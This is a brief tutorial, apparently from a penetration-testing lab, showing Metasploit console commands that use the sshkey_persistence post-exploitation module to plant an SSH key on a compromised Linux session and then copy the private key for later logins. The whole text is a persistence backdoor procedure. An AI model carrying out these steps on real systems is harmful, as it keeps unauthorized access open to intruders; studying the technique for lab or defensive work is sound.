Perform SSH Persistence with a Metasploit persistence modules
exit # CTRL+C
background
search platform:linux persistence
use post/linux/manage/sshkey_persistence
info
# Description:
# This module will add an SSH key to a specified user (or all), to
# allow remote login via SSH at any time.
set SESSION 4
set CREATESSHFOLDER true
run
Access the private key and copy the content of the id_rsa file and save it as a new file. Assign the appropriate permissions to the file
Exit the msfconsole with command exit -y. All the sessions will be closed.